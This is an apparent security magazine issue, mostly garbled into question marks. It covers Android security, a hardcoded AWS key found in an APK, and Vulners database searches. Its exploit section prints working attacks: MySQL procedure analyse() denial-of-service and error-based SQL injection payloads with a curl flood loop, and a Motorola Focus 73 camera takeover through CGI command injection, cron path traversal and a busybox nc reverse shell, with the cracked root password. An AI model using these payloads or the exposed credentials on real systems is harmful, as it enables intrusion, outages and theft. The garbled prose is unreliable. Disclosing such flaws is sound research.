?????? ?????????? ?????? ??????: ?????? ???????? ??????? ??а????? ???????? ??????????, ?????? ???? ??????? ???а?????????? ??????????????. ?а????
??????. ??????? ?аAndroid M Google ????? ?????????, ????? ??? ????? ?????????? ??а???? ???? ??а????????????? ???????? ?????????? ??????. ?а?????-??, ??? ???????, ?а?а????? ??? ??? ??? ?а????? ?????? ???????. ??а????
?а???? ?????????? ????????: ???? ????? ????????? ???????????? ??????
????????? ???????????? (? ?????????????, ??????????), ???а??????????, ???????, ????????, ?????? ???????? ??????????? ?а????????? ?????-?? ??????? ????????, ??????? ?????? ?а????? ???????
???????? Google ????????? ?????????? ???????а? ????? Direct Boot.
???? ??????: ?????? ?????????? ?????? ????? ????? ??? ????????? ???????? ?а???????, ???? ???????? ??а????????????? ??????????, ??????а? ??????
?????. ???а???? ??????????? ?????? ??? ??????????, ????? ??а??? ???????????? ?а?????. ?? ???? ???? ?????-?? ?????? ????? ?????????? ??????, ????
???? ???????? ??а?????????????,а? ???? ???? ???????????? ?????????, ????????? ??а?????????????, ?а????????? ?????? ??? ????? ?а??????.
Direct Boot
?????????????? ???????? ????????
?а??? ??? ?а??? ?????, ?а??????? ??? ????? ???????? ?????? ??аBlackBerry.
???? ???? ?а????????? ?????????? ???????? (Verified Boot), ??????????????
Android ??????? ?а?????? 4.4 (? ??а?????? ?а????? ????????, BlackBerry!). ????
?а?????????: ??а?????? ????? ???????? л????????? ?????????
?????????
aboot
???? Linux
??????? Android╗ ???????????? ??????? ?????
????????? ??????????? ???? ???? ??????????? (?????????? ??а???????? ????????, ???? ??а??????????? ?????, ??????? ??а??????????? ????? ???? ??).
?????? ???? ?????? ??а????????? ??????-???? ??а??????????? ???????
???? ?????????????, ?? ?????? ??? ?????? ????????? ???????????.
????? ????, ?????? ?аAndroid ???? ????????, ??????????? ???????? ????????? ???????. ?? ???? ?? ?????? ???????? root, ??????????????? ?а???а????????? ???????? ???????? ???????????? ???????. ???а??? ????????, ??а??????
???????, ??а?а????? ?????? ?????.
Verified Boot
???????? ????????? ?а??
?????? ?????? ??????? ?а??????????????, ?а???? ??????а? ?а??????????,
??????? ?? ??????????. ?аGoogle Play Services ?????? ???? API ??? ?????????
SafetyNet, ??????? ????????? ???? ??????? ??????: ?????????, ????????????
?? ?????????? (?????? ??????????), ??а???? ?? ??? ???????? ???????? ???
??????? root ?а?а????? ????????? ???????? ??? ?????? ?????????.
????????? ?????? API, ???????????? ?????? ?????? ??????????, ???????
?а???????? ??а?????????? ??а???????????????? ????????? ???, ????????,
?а??? ??????, ???? ?????? ???????? ??? ?? patch level ??а????????????? ???????????? ???????????. ????? ????????????? ??????????? ??? ??? ??????
????? ??? ?а??????? ??????????? ?????????, ?????? ?а??? ???? ???????
?а??????? ?а????????????? ??????????.
?????? ?????? patch level
?????? ?????????
??? ????? ?????? ????????? ??? ????? ?????????? ????????????:
? MediaServer, ??? ????? ??????, ??? ????? ???????? ?????????? ?????
?????? StageFright, ?????? ???????? ??а????????? ??????????? ????????,
?а??а??? ?????? ????? ?????? ?? ??????????, ??????? ??? ?????. ????
????? ?а???, ??? ???? ???? ??????? ?а???? ????????????, ??????? ??????
??а????? ??????? ?а?????????, ??? ??? ??? ??а????? ???? ?????????????????? ????????. ????????? ??а???? ????? ???????? ?а????? Google.
? ?а?????????? ?а??????? ???????? ????????? SELinux ?????? ????????????
???????? seccomp ???? Linux, ??????????????? ???а????????? ?????????? ?а?????????. ?а???????? ??????????? ?а????????? ??????????????
???????.
? ????????? ???????? ??????? ?а????????? ??????????, ???????????????
?а??????? ???????? ?????? /proc ?а/sys.
? ????????? ?????? ??аransomware. ?????? ?а???????????? ???? ???????????
?????????????? ????????, ??????????????? ????????? ???????????.
????? ?????????? ?????? ??а????? ??????????? ????????? ???????.
??????????? MediaServer
??????
??????? Android ????????????? ?????????? ????? ?????? ?а???????????? ???????. ???? ?????????? ???????
???????? ?????????, ?? ?????????? ???????, ?????????
?????? Android ?????????? ?????? ??????? ????????? ??????????? ?а????????????. ???????, ????????????? ??? ???, ?????? ???? ???? ?????, ?аGoogle ??а?????
?????????? ??????? ???????? ?? ????????, ?а???????
??аApple, ????? ?а??????? ??????? ??а?????? (??????????? ?а?????????).
WWW
???????????
??????? ???????
?????
WARNING
??? ?????????? ????????????? ????????????? ????????????????? ?????.
????, ???????????? ?????? ?????????? ? ??????????????? ?????, ?????
???? ?????????? ?а???????????????.
EASY
HACK
??? ????? ????????????? ??????????
? ?????????????? ?????? ANDROID-??????????
isox
isox@qiwi.com
?????? ????????? ????????????? ??????, ????? ???? ???? ??????? ?а?????-?????? ??????? ?????????? ???аAndroid. ?????? ???а????? ????? ????
?????: ??а??????? ?????????? ?????? ?????? ?а?????? ?????? ???????????
??а????????? ???????? ??а???????. ????????? ??????????, ?а??????? ???
?а???? ?????? HackApp + Vulners.
HackAppа? ??? ???????-?????????? ?????? ?а?????? ???а?????? ?????
?а????????? ???????????. HackApp ????? ???? ???? ????????? ???????????, ??? ???????? ????????? ??????? ???? ?а???????? ??????. Vulnersа?
??? ?????????? ?а???????? ?????? ???а?????? ??????????? ?а?????????
?????????. ????? ????? ?????, Vulners ??????? ?а?????????? ?????????
?а??????????? ???????, ????? ?а???? ??????? ??а???????? ??????????.
?а??????? Vulners ?аHackApp ????? ?????? ??а??????????? ????? ???
22 025 ??????? Android-?????????? ??аGoogle Play! Store. ???а?????? ????? ??????? ??? type:hackapp. ?а??????????? ?????? ???????????? ?????,
?????????? ??????????? ??а??????? ??????????? (??????? ??????а? ?????????, ?????? ??????а? ??????? ???????????, ????? ??????а? ??????????), ?????????? ?а?????????? (??????, ??????? ??????, ???????????
?а???? ??????).
????? ??????????? ??а???? HackApp
?????? ??а????????? ??????????? ?????????? ????? ??? https://
vulners.com/hackapp/HACKAPP:RU.SBERBANK_SBBOL.APK. ?а?????????
????????????? ??? ?????????? ?а??????? ????????? ?а???????????, ?????
?????? ?????????? ????????? ?????????. ?????? ???????? ???????????
???????? ??а?????? ??а????? HackApp.
???????? ???? ??а????? HackApp
??а????????? ??????-????? ???????? ??????????? ????? ??????????, ??? ????????? ???????????? ???????????? ?????? ??????? ?????? ??аAmazon AWS.
?????????? ?????? https://vulners.com/search?query=type:hackapp%20
AWS%20credentials ?????? ????? ???? ????? л??????╗.
???? ?????????????? ?аAndroid-?????????? ????? ??аAWS
???????, ?а??? ???? AWS_KEY. ?????? ????? ??? AWS_SECRET_KEY. ?????
??а????? ??????????????? ?а???????? ?ал?????╗ ?????????????? :)
??а????? HackApp ????? ?????? ?????????? ??????? AWS_ACCESS_KEY ????
???????? APK ????? ?????? ??????? ????? ?а????? HackApp. ?????? ?????????? ???? ????????? ????????:
java -jar apktool_2.1.1.jar d 895ed3de13f747aae061db3da06283cd.apk
????????? grep ?... ?????! ???????, ?? ???-?? ?а?????? ?????:
MacBook-Pro:895ed3de13f747aae061db3da06283cd pwner$ grep -R
"AKIAI5AWXTYSXJGU55QA" ./
.//smali/com/adobe/air/AdobeAIR.smali: .field private static final
TEST_ACCESS_KEY:Ljava/lang/String; = "AKIAI5AWXTYSXJGU55QA"
.//smali/com/adobe/air/AdobeAIR.smali: const-string v1,
"AKIAI5AWXTYSXJGU55QA"
??????? ????????? AWS-????!
??? ??? ???????: pwned in less than 1 minute!
?????????? ??? ??? ??????????? ?а??????? ?????????????? ?????, ????? ???????? ??? ????? ????????? ???????? ????????? ?????????? :).
????? ?а???????? ????????!
?????
????? ?????,
ZORSecurity
@dukebarman
dukebarman.pro
WARNING
??? ??????????
????????????? ????????????? ????????????????? ?????.
??а????????, ??а?????
??а????? ??????????????? ??а????? ????????? ????, ???????????
??????????? ??????
??????.
?????
??????????
?????? ????? ???????????
?а??????????? ?????? ?? ?????????? ?????????????? ??????????
?аIP-?????? Motorola Focus. ?????? ????????? ?а?????? ???????,
??? ??? ????? ???????????. ?а???? ?? ?? ???????? ????????????
?а??????? ???????????????, ??? ????????? ????? ???? ????????????.
????? ???????? DoS-?????????? ?а????????? ????????????? ???????
procedure analyse() ?аMySQL.
DOS ?а??????? PROCEDURE ANALYSE() ??аMYSQL
CVSSv2:
???
???? ??????: 29 ??? 2016 ????
?????: @OsandaMalith
CVE: 2015-4870
????? ????????? ????? ??????????? ??????? DoS ?аMySQL ?????? ??а5.5.45
????????????. ?а??????? procedure analyse() ??????? ?????????? ???а????????? ??????????.
?????? ?????? ???????:
select * from `table_name`
procedure analyse((select*from(select 1)x),1);
??????????????, PoC ????? ?????:
select * from information_schema.tables
procedure analyse((select*from(select 1)x),1);
????????:
mysql> select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql> select 1;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost'
(10061)
ERROR: Can't connect to the server
mysql>
??????? ?????????? MySQL
?????? ?????? ?????а? ??? ?????? ???????? ????????, ??????? ???? ?????????
?а???? ?а?????? ??а???? mysql.exe (?? ??????? ??а????????? ????).
??????????????? ????? ??аmysql.exe
???? ????? ????????? ????????? ?а??????? ????????? ??? ?????? Event Viewer,
?? ?? ??????? ???????, ??? ?????????? mysqld.exe ????????????? ?????.
???а???? ???????? ???а????????? ??а?????? ????? ????? 0x000607f4.
??? ?????? Event Viewer ????? ??????? mysqld
???? ?? ?? ?????????????? ?а???????? ?а??????? IDA, ?? ?????? ???????, ???
??????? ?????????? ?а????????? TABLE_LIST ??-?? ????, ??????? ??а???? ????????.
????????????? ??????? ????????? ?????? ?аIDA
EXPLOIT
?а???????? ????????? ?????? ????? ??????????? Damn Vulnerable Web Application
(DVWA).
???? ????????? ?????? ???-??????????, ???????? ?аSQL-????????, ?? ??
?????? ?а????????? ???????? DoS-?????, MySQL-?????? ?????????? ????????
?а??? ???????????? ???? ?????? ???? ?????????? ???? ??????????.
?аWindows ?????????? ???????? ??????? ???а?????? ??????? ?, ?????? ?????, ??????????? ?????? ????????????:
http://localhost/dvwa/vulnerabilities/sqli/?id=1' procedure
analyse((select*from(select 1)x),1)-- -&Submit=Submit#
?????? ?????????? ??????? ??а???????? ?????????? ?аMySQL
??а*nix-???????? mysqld ????????????? ?????????????????, ??а???? ?? ??????
?????????????? GET-??????? ?а????? ???????? ?????????, ?? ???? ?????? ???
????? ??????.
?????? ????? ????? ?а??????? bash-???????, ??????? ?????????? cURL
???аGET-????????:
while true;
do curl "http://host/?id=1%27%20procedure%20analyse%28%28select*
from%28select%201%29x%29,1%29--%20-" > /dev/null 2>&1
done;
?????? ?????????? bash-???????, ????? ??????? ?????? ????????? ??аPython:
?????? ?????? ????????? ???аDoS-?????????? ?аMySQL
???????? ??? ?а???????????? ?????? ?????? ?? ?????? ????? ?а??? ?????. ???
????? ??????? ????????? ???????????????? ?????.
????? ??????? procedure analyse() ????? ?????? ???а?????????? ?????
????? SQL-????????. ??? ????????? ????? ?????????? ????? ???????. ????????? ?????????? ??????????? ??а?????????, ??? ?????????? ??????? ?????????
?????????? ???????.
http://localhost/dvwa/vulnerabilities/sqli/?id=1' procedure
analyse()-- -&Submit=Submit#
??????????? ?????????? ??????? ?а??????? procedure analysis
?а???????? ?????, ??? ????? ???а???????? ????????? ????? limit, ?? ?????? ???????????? procedure analyse() ?????? ?а????????? updatexml
?аextractvalue ?а???????? ???????????.
select username,password from users
order by 1 desc
limit 0,1
procedure analyse(updatexml(1,concat(0x7e,(version())),0),1);
?????? ???????? ????? AFTER ?а?????????????? updatexml ?а???????? ??????????
select username,password from users
order by 1 desc
limit 0,1
procedure analyse(extractvalue(1,concat(0x7e,database())),1);
?????? ???????? ????? AFTER ?а?????????????? extractvalue ?а???????? ??????????
TARGETS
MySQL <= 5.5.45.
SOLUTION
????????????? ???????? ???????????.
????? IP-?????? MOTOROLA FOCUS 73
CVSSv2:
???
???? ??????: 2 ??????? 2016 ????
?????: ??????????
N/A
CVE: IP-?????? Motorola Focus 73 ???????? ?а???? ?????? ?????????. ???а??????а?
??? ??????????? ??аMotorola. ??? ???????? ??????? ????? ????????? Blink
?аMotorola IP, ????????????? ?????? Binatone. ?а????????? ????? ?????? ?????? ???а???????? ??а??????. ??? ???????? ?????????? ?а???????? Hubble, ??????? ???????? ??аAmazon EC2, ?а?? ????????? ?????????? ????????? ????????
????????, ?а????? ???????? ??????????? ?а????????. ??? ??? ???????? ?????
????????? ??????????.
?????????? Hubble ???????? ?? ???? ?????????? ?????????. ???а???????????? ???? ??????? ?????? ???аAndroid ??а???????? Google Play. ??????????
??????????? ?а???????? ??а????????? STUN.
?а???? ?????????????? ????????? ?????????? ???????? ?????????? ?????? ?а???? ????? ?????? ??? ?????? ??????? pair ??а????? ??????????. ???????
?????????? ?????? ?а????? ????? ?а??????? ???????? ???? Wi-Fi. ????? ?????????? ????? ?????? ???? ?а?????????? ???? CameraHD-(MAC ?????) ?а?????????? ???????????? ???????????? ?а???.
????? ???? ???а????? ??????? ???????? ?????, ?????????? ???????? ??????? ??а???-?????? Nuvoton, ????? ?????????????? ???? ?а??????? ???????
iwlist. ?????????? ????? ????????????
???????? ?а?????????? ?а???? XML-?????, ?????? ???????????? ????? ???????
?????? ????. ????? ?????????? ??????
???? ????????? ???? ???а?????????
???? Wi-Fi. ?? ?????????? ?а??????????????? ???? ????? ???????? ???? ?а?????????????? ??????? HTTP-????????????? ?????? ????? ?????????
???????. ????? ?а?????? ???????????:
????? ????????? ??????????
camera ?а000000. ??? ?????? ???????
????? ??а?????????? ???????????????,
?? ????????? ??аSSID, PSK, ?????? ?а??????. ??? ????????? ??, ??? ??? HTTP-??????????? ???????????? ??а??????
????????? ?а??а???? ??а????????????. ????????? ???-???????? ?????????
???аMBP2000W (? ???????, /routersetup.html) ?, ?????? ?????, ???????????? ????? л???????╗ ??????????? ?????????? ?????????? ???а?????? ???а???????? ??а??????.
?а????????? ??????? ???????? ????? ?????????? ???, ??, ???а??????? ??????, ?????????? ???????? ????? ????? ????????? URL. ????? ??? ??а?????????
??????? ?????.
????? ?????????, ??? ???????? ???????? ??????????? ???????? ????????
Linux ?а????????? skyeye, ????????? ????????? Cvision. ?????? ???? ???????
/bin, /etc ?а/lib, ??а??? ??а??????????? Linux, ?а???? ????, ??????? ??????????? ??????? ?а/mnt/skyeye. ????????? ???????? ???????? ?????, ?????
???аBusyBox, ???? ??а????????. ??? ??????????? Nuvoton OS, ??????? ??а????? ????????? ?????????? ?а???????? ?а???? ???????? ????? ????????????
????????.
????? ?????? ???? ??????? ?????? ??а??????? ?а????? ????????????
???а?????? ??????? ?????, ??? ??????? ??а????? ??а??????????????? ????????. ??? ???, ??а???? ?????????, ????????? ?????? ?????????? ????? ?????
????? ?а?а???.
???-?????? ????????????? ??а???? /mnt/skyeye/mlswwwn/. ?? ?????????? ??????? haserl CGI, ??????? ????????????? ???????? ??аHTTP-????? ???????? ?а???? (? ?а????? ?????? ??? ?а?а??????? root) ???а?????????? ?????
???????, ???а??????? ????? ??? ?????????? ????????.
EXPLOIT
??????????? ?????????? ????????
??? ???-??????? ????????? ??а??????????? ???? /mnt/skyeye/mlswwwn/ ?а???????? ??а?????? 80 ?а8080. ?????? ??????а? ??? busybox httpd. ???а?а?????????? ?????? httpd, ?? ???????????? ?????? ?а??????????? ??????????? ??????
??? ???????? (? ???????, ??а/cgi-bin). ?а??? ???-?????? Nuvoton (????????,
?????????? ??аMJPG) ??а80-? ????? ??а????? ????? ???????????, ??????? ????? ????, ??????? ?? ??а?????? ??а????? 8080, ?? ?????? ????????? ????????
??а?????????????, ??????? ???????? ????? ELF. ???? ??а??? ?а??? ????? ?????????? haserl-??????, ?? ?????????? haserlupgrade.cgi. ????? ?????????
?????????, ??? ?? ????????? ??????? ?????????? ????????. ??? ???а????????
??а??????????? ?а??а?????????, ?? ?? ????? ?????????????? ?? ?а????????
?????????? haserl-??????, ??????? ????? ????????? ????????? ????????????
??????:
<% $FORM_run %>
???????????????? ???????? ????? ???? ????????? ????? http://(IP):8080/
fwupgrade.html. ????? ?? ?????? ????????? ??????? ??а????? root ??а????????:
http://(IP):8080/cgi-bin/script.cgi?run=cat /etc/passwd
????? ?????????? ?а???????? ??????
?а????????? ???? ??????? haserlupgrade ????? ???? ??????? ?????? ??????
?????????? ???? л????? ??????????╗. ?????? ???????? ??а???? ??????????? ????? ?а????????? ?а?????????? ?а???????????????? ????? ??? ???-??????????.
???а???? ?? ???? ??а????????? ???????????? ???, ??? ???, ?а???????, ?????
new_firmware.tgz ?а../../../mnt/skyeye/etc/cron/root ????? ?????????
??????????? ?а????? ???????. ??а???а?????????? ?????? ?????? ??а??????? ???????? ????????? ???? ?а???????а? ?? ???????? ????? ????????? ?????? ???????
(??????, ??? ???????? ??????? ??????????). ???? ???а???? ????? ??????????
????? ?????? ??????????? ???? ?а???????.а?а???????, ???????? /bin/busybox
??????? ??а?????? л??????╗.
????? ??????? ?а??????? ???? ??????? ????????? ?а????????? ?????
?а?????? fwupgrade, ??????? ????? ????? ?? ???????? ?аIDA. ???? ??????????? ???? ?????????? ??? ????? ???????? ?а????????? ?а/mnt/cache/new_
fwupgrade. ????? fwupgrade ???????? ?????????? SIGUSR1, ?? ?????? 128 ????
??а????? new_fwupgrade, ?????????? ?? ?а????? ???????? ?а????? ????????
shell-?????? ???а?????????? ??. ????? ?????????? ?????? ??????? ????.
??? ???а??????????? 128 ???? ?а???????? ???, ????? ??????? ????? ??????? ??? ?????, ????? ??????? ?????????? ????. ?а?????????? ???????????
???? ??а????? ??????.
??????????????? ??? ??????? ??аfwupgrade
????? ????????? 128 ????, ????? ?????? ??? ????? ?а????????? ???? ?а??????? ??а??????????? ?а?а????????? ?аcron ?а?????. ?????? ??????? ???????????
?а??????????? ?????? ??????.
../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/
skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/etc/
cron/root
?а???????? ??????? ?а???????? ????? ?????? ??????:
/bin/busybox nc 10.45.3.100 1664 -e /bin/sh
????????????? ?????????? ???? л????? ??????????╗ ?аMotorola Focus
????? ????????? ????? ???? ???????? ???? ??а????? /etc/shadow, ?а????? ???????? ?а??????? John the ripper ????????????, ??? ?????? rootа? 123456.
??? ??? ?????? ?????? ??аWi-Fi, ??????????? ???????? ??????? ?а/tmp/wpa.
conf, ?а????? ????????? ????????? ????? Cvision (??? ???????????? ???а????????? ????? ?????? ?????? ??????????).
?????? ?????, ??а?????????? ???????? ????????? ?????????? ??????????? ??????, ???????, ???? ?????? ????? Nuvoton, ?????? ?????????? ????? ??????. ?????? ??а80-? ????? ????? ??аMJPG, ??а????? ?????????????? ???????
???а?????????? ??????????.
?????? ????????? ?аMotorola Focus
???? ????????? ??????? ps, ?? ?? ?????? ??????? ?????????? ??????? ???а???????????? ????? msloader ?а?? ???????? ???-?? ????? ???????????????
?????? ??????????. ?а???? ??а????, ??? cron ????????? ??????? ?????? ??????,
????? ?????????? ??????? ???????? ?????? ??????. ???????????? ?????? ???????? ???????? ????????????: ??? ????? ??????? ?аcron, ??????? ????????????? ?????????? ?????? ?????. ???а????? ?????, ?? ??а????? ????????? ??? ?????,
????? ?????????????? ???? ????? :).
??а???? ???????? ??а?????????. ???? ??а?????????? ???????? ????? ?????? ??????????, ?а??? ????? ?а???? AES ???а?????????? ?????????? ??????????? STUN, ?а????? ?????? ???????? FTP, ??????? ???????????? ???а???????? ?????. ????????? ??а??????? ??????????? ????????????? ?а???, ???
??????????? ?????????? PJNATH, ??????? ???а??????? ????????? STUN ?????
??????????? ????????? ?????????.
?????????? ???? ????? ??????? ????? ???-?????????, ??а??????? ???
????????? ?а?????????????? ???????????? ????? /bin/crypto. ???? ????
?????????? Linux crypto API ?а??????? ?????? AES: Cvision123459876. ???
????????, ??? ????? ????? ???????? ???? ?а??????????, ????????? ??????
host:8080/cgi-bin/logdownload.cgi
??????? ??а????????????????
???? ????????? ?????? ???????? ?????? ?а??????????, ?? ?????? ?а?????????????? ???????????? DNS ?а????? /etc/resolv.conf. ???а?????, ?а???????,
????? ????????? ????? ??? ?????? ??????? ??аupload1.hubble.in (??????
???а???????? ???????????). ??? ????????? ???????? ??????????? ?а?????????
???????? ??а?????? ?а???? JPEG, ??а?а?а???? ?????? FLV, ??????? ?????? ???????? ?????? ??????? ???????? Hubble. ??? ?????? ???????????? ?а??????????????? ?а???? ?????? ?а????????? POST ?а/v1/uploads/snap.json ??? /v1/
uploads/clip.json. ??? ????? ???????????, ?а???????, ??аPHP-??????, ???????
????? ????????? ??????.
?????? ????????????? ?????? ????? ????????? ???????? ??аMotorola Focus
????? ??????? ???????????????? ?????, ??????? ??????????? ?а????? ?????,
??? ?? ????? ?????? ???????????? ?а???????????? ??????? ?а?????? ??а???? ??????? ????? ????????.
TARGETS
Motorola Focus 73 Firmware 1.17.26?1.19.14.
SOLUTION
????????????? ???????? ??????????? (1.19.26).
?????
VULNERS ?
???? ??? ??????
??? ???????
??????
????????? ??
???????????
? ??? ??
????????????
????? ????? ?????? ??? ?????????? ? ?????-??????
??????????: ????????? ????????? ???? ????????,
???? ?? ??????? ???????, ????? ??????? ??? ??????????
????? ?????, ????? ???????? ????????? ?? ??????? ?????????
aleonov.com
? ???????. ?????? ??????????? ?????? ??????? ??
??????? ?????????? (CVEDetails, SecurityFocus, Rapid7 DB, ExploitDB, ???? ??????????? CVE ?? MITRE/NIST, ?????????? ?????????)
? ????????????? ????????? ??????. ??????? ??? ?????? ????? (?
?????!) ???????????????? ? ??????? ?????????????????? ????????. ???? ?? ????? ? Vulners, ????????? ????????? ?? ?????. ?
??????? ? ?????????? ? ? ???????? API. ?????????, ??? ?? ????? ???? ??? ???????.
??? ??? ?????
Vulners ? ??? ????? ??????? ? ?????????? ??????????? ???? ?????? ??-????????. ???? ????????? ?????? ??????????, ?????????, ?????, ?????????? bug
bounty ??? ??, ??? ??????? ????????? ???? ?????. Vulners ?????????? ? ???????????? ? ??????? ???? ????? ???????? ????? ??????:
? ?????????? ???? ???????????. ??? ???????? ????? ???????? ??????????? ? ?????? ?? ?????????. ????????, ????????? CV? ????????????? ????????? MITRE ? ????????? NIST. ??, ?????? ?????????? ?? ???, ? Vulners ??????????? ????? ???????? ?????????? ? ?????? ????????????????? ???????
? ??????? ????????????: Vulnerability Lab, XSSed, CERT, ICS, Zero Day Initiative,
Positive Technologies, ERPScan.
? ?
????????? ????????? ????????????. ??? ???-???????, ??????? ?????
???? ??????? ?? ??????????? ? ????? ?????????. ?????? ??? ????????????? ???????????? Linux (Red Hat CentOS, Oracle Linux, Arch Linux, Debian,
Ubuntu, SUSE), FreeBSD, ??????? ?????????? (F5 Networks, Cisco, Huawei,
Palo Alto Networks) ? ?????????? ? ????????? ????????? (OpenSSL, Samba,
nginx, Mozilla, Opera), ? ??? ????? ? CMS (WordPress, Drupal).
? ?
???????? ?? Exploit-DB ? Metasploit. ??? ???????? ? ??????????? ?????????, ? ??????????? (?? ????? ????? ???????? ? ??????? ?????????).
? Nessus-??????? ??? ??????? ???????????. ????? ??????????, ????? ?? ?????
?? ??? ???? ?????????? ??? ???????????? ???? ???? ?????????? ????????.
? ????????
?
????? ? ?????? bug bounty ????????. ? Vulners ??????????????
?????? ? HackerOne.
? ?
????????? ?? ???????????? ????????. ?????????? ?????? ? Threatpost ?
rdot.org, ??? ????? ???????? ????, ????????? ? ????????????.
??? ??? ??????????????, ????????????????, ??????????????? ? ???????? ???
?????? ? ????? ??????.
???????, ?? ??????? ?????????? ? ????????????? ???? ? Vulners
? ??????? ?? ?????? ???, ??????? ????????? ???? ? ??????????? ??????????????? ???? (????????, ?? ????? OVAL-??? CIS ??? SecPod), Vulners ??????
?????? ? ??????????????? ???? ? ????????????? ????????????? ????? ?????
????, ?????? ???? ? ??????? ?????????? ?????????? ??????. ??? ? ???? ??????, ??????? ??????? ?? ???????? ????????? ????????????.
??? ? ?? ??? ????? Vulners?
Vulners ????? ?? ?????????? ? ????????? ?? ???????? ?????? ????? ???? ???????:
? ?????? лisox╗ ??????? ????? ???? ? ???????;
? ????? лVidens╗ ????? ?????;
? ???? л????????╗ ????? ?????;
? ???? лPlex╗ ????? ???????-?????????;
? ????????? ?????? ????? ?????? ? ?????????.
?????? ?????? Vulners ???????? ??? ????? ???? ??????? ? ?????? ??????????
? ??????????? Black Hat USA 2015 ? ???-??????. ?????? ??????? ??? ???.
???? ?????? Vulners ??????? ?? Python + Django, ? ???????? ???? ?????
MongoDB + Elasticsearch. MongoDB ???????????? ?????? ??? ???????? ?????? ???????? ? ?????????? ??????????, Elasticsearch ?????? ??? ?????????. ?????? ???????????? ? Bitbucket?? ????????. ??????????????? ????????
????? ? ????: MongoDB ? Elasticsearch ????????. ??????? ??????? ????????
???????????????? ? ????? ???????? ???????? ?? ????? ???????. ???? ?? ?????? ????? ? ?????? ??? ????????? ??????? ?? Python 3.5+ ? asyncio ? ?????
???????. ??? ??? ????? ?? ?????? ???????? ?????, ?? ?????? ????? ?????? :).
?? ??????? ?????? ? ???? Vulners 319 557 ?????????? ? 144 684 ?????????. ? ???????? ??? ??? ? ???? ?????? 2 ?????. ????? ???????????? ???????????
?? ???? ???????????? ? ????????????. ??? ????? ? ??????????? ??????, ??????? ???????? ?????? ??????????? ?????????????. ????? ????????? ? ??, ???
Vulners ?????????? WAF Wallarm, ?????????? ? ??????????? ??????.
??????????? Vulners
?? ???????? ????, ????? ????????? ???-?????? ????????.
??????? ??????
??????, ??? ??????, ????? ???????? ?? Vulners, ? ???, ??????? ??, ??????
??????. ?????? ????? ???????? ??????????, ????? ??? CVE-??? ??????????,
? ???????? ?????? ???? ??? ????????? ????????? ???? ?? ????? ???????? ??
???????? ?? ?????????, ??????? ??? ??????? ? ????????? ??????????.
??????? ?????? Vulners ?? ????? WordPress. ?????? ????????:
?????? ??????????? ????????? ? ? ?????????????? ??????
???????????, ??????? ??????? ????? лwordpress╗ ??? лxakep.ru╗ ????????????? ??????, ? ???? ?? ? ??? ???????????. ????? ?????????, ??? ???????????
????? Vulners.
??????: ????? ????????? ???? CentOS ?? ???????? ?? ???????
??????: type:centos order:published
Vulners ????????? ??????????? ?????????? ?????? ?/??? ??????????? ?? ??
?????? ???? ????:
? ?? ???? ?????????;
? ?? CVSS Score;
? ?? ????;
? ?? ?????? ??????? ???????;
? ?? ????? ?????????.
? ??? ?????. ?????? ? ??????????? ????? ????????? ?? ?????? ????.
????????? ????? ?? ????? ???????????? ??????? ?????? ????
type:centos cvss.score:[8 TO 10] order:published, ??? ???????? л????? ??? ??? ????? ???? CentOS, ??? CVSS Score ?? 8 ?? 10, ?? ???? ?????????╗.
????????? ???????? ????????????? ????????? ? ????? ??? ????????? ??????,
?? ???????? CVE ?? ??????? ????????? ????? ? ?????????.
????? ?????????? ?????????? ????? ??????? ????? ???????? ??? ?????? API ? ??? ?????????? ???? ? ?????????????????? ????????. ??? ????? ?????????? ??????? GET-?????? ?? https://vulners.com/api/v3/
search/lucene/?query=type:centos%20cvss.score:[8%20TO%2010]%20
order:published. ? ????? ?????? ????????????????? ?????????????? JSON.
??? ???? ???????? ???????? API-???????? ? references=true, ???????
????????? ???????? ? ??????????? ??????? ?? ?????? ??????? ????????????,
?? ? ??? ?? ????? (??????? ???????, ????????? ? ??????). ????????, ??????
https://vulners.com/api/v3/search/lucene/?references=True&query=t
ype:centos%20cvss.score:[8%20TO%2010]%20order:published ? ???????
??? ? ??? references, ??????? ???????? ?? ????.
??????????? ??????? ???????
???????? ?????? ???????? ??????? ?? Vulners
?? ????????? Vulners ?????? ?????? ?????? ???????? ??????? ???????. ????
??????? ??????, ????? ?????? ???????? size. ??? ????? ???????? ?? 10 000. ?
???? ? ????? ????, ?? ????? ??????????? ????????? ??? ?? 10 000, ?????????
??? ?????????? ?????????? ??? ?????? ????????? skip.
??????: ?????????? IT-????????????, ????? ????? ????-?????????? (??? ?????? ????? ??? ??????? ?? ???????????? ???? :))
??????: cvelist:CVE-2014-0160 type:exploitdb
??? ?????? Vulners ???????????? ?????? ?????????? IT-????????????, ?????? ??????????, ???????????? ????????, ????????????? ?????? ? ?? ?????
???????. ??? ????? ????? ???????? ?????? ??????????, ????????? ?? ??????
CVE ??? ??????? ??????????????. ???????? ????? ?? Exploit-DB ??? Metasploit.
?? ????? ???????? ????? ? ????????, ? ????????? ?????????, ?? ??????? ????? ????? ??????.
???? ??????? ?? CVE-2014-0160
??? ?????, ?? ???????? ????????? ?????????? ??? ?????? ?????. ?? ????? ?????? ????? ????? ??????.
???????? ????? ??????????? ? ??????? ?????????
??????: ??????, ??????? ????? ? ?? ????? bug bounty ?????????
???????????? ?????
??????: isox order:bounty
?????????? ???? Vulners ? ????? ?? ???-??????. ????? ?????, ????? ?????????? ????? ?????????? ?????????????, ? ?????????? ??? ?????????? ? bug
bounty ??????????. ?????????? ????? ??????????? ?? ????????, ??????????????, ???? ? ???????.
????????, ???? ?? ????, ????????? ?? ??????? ?????????????? ??
???-??????:
?????? ?????? ?? bounty
???????? ????? ????????????? ???? ? Mail.Ru, ?? ??????? ????????? 400 ????????
? ???? ???????? ? ??????? reporter, ????? ??????? ????? ??????, ??? ??????, ??
?????????.
$ curl "https://vulners.com/api/v3/search/lucene/?query=type%3A
hackerone+order%3Alastseen+reporter%3Aisox" 2>/dev/null | awk
'{if($0~"\"bounty\""){gsub(",","",$2)}; earn+=$2 }END{print earn}'
????? (? ????????):
2640
????? ????? ?????? ??????? ???????? SQL-???????? ??? ???????????, ???????
???????? ?? ?????????? ???????, ???????? ?? Vimeo: type:hackerone Vimeo.
???? ????????????? ?? HackerOne ???? ?? ??????? Vimeo
??????: ????? ???? ?? ???????? Nessus
??????: type:nessus order:published
